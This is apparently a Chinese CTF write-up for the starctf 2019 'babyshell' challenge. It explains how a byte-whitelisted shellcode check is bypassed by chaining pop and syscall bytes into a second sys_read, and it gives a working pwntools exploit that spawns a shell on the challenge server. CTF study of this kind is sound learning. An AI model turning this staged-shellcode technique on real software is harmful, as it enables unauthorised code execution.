BUU-starctf_2019_babyshell-WP
这道题目很有意思,我很喜欢
分析
流程很简单

这里读入一段,然后

进入这样一个判断,做的事就是对我们输入的串中的每个字母在

这个字符串里找匹配,如果每个都能匹配到,就执行我们输入的字符串(shellcode)。之前我也做的过类似的题目,那道是可见字符shellcode,比这道题要求松一些,也有现成的工具。遗憾的是,本题没有工具生成,不会,看wp。
解法
解决的方法是硬凑。也确实,我们看到字符串里说here is a gift,后面是一个奇怪的东西,就应该考虑把它转成汇编试试。IDA里面是这样做的

先想红圈里面那样选中区域,然后edit里面选code,之后会跳出一个警告,选force
让他强制转就行了。

发现有一个syscall
,也就是说我们可以在code里面加syscall
,顺着这个思路我们考虑把所有的都转成汇编试试

发现我们可以用这俩

然后在call rdx
之前eax又被置成了0,这是sys_read
的调用号,所以我们就可以考虑构造sys_read
来补充shellcode实现getshell,也就是说再read一次,此时rsi仍然指向buf
,所以我们补充的shellcode可以直接被执行

这俩数就可以做rdx和rdi的值,所以
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug',os = 'linux',arch = 'amd64')
payload = asm("pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;syscall")
#sh = process("./starctf_2019_babyshell")
sh = remote("node3.buuoj.cn",28335)
sh.sendlineafter("plz:\n",payload)
sh.sendline('a' * 0xc + asm(shellcraft.sh()))
sh.interactive()
没有独立想到还是有些许遗憾的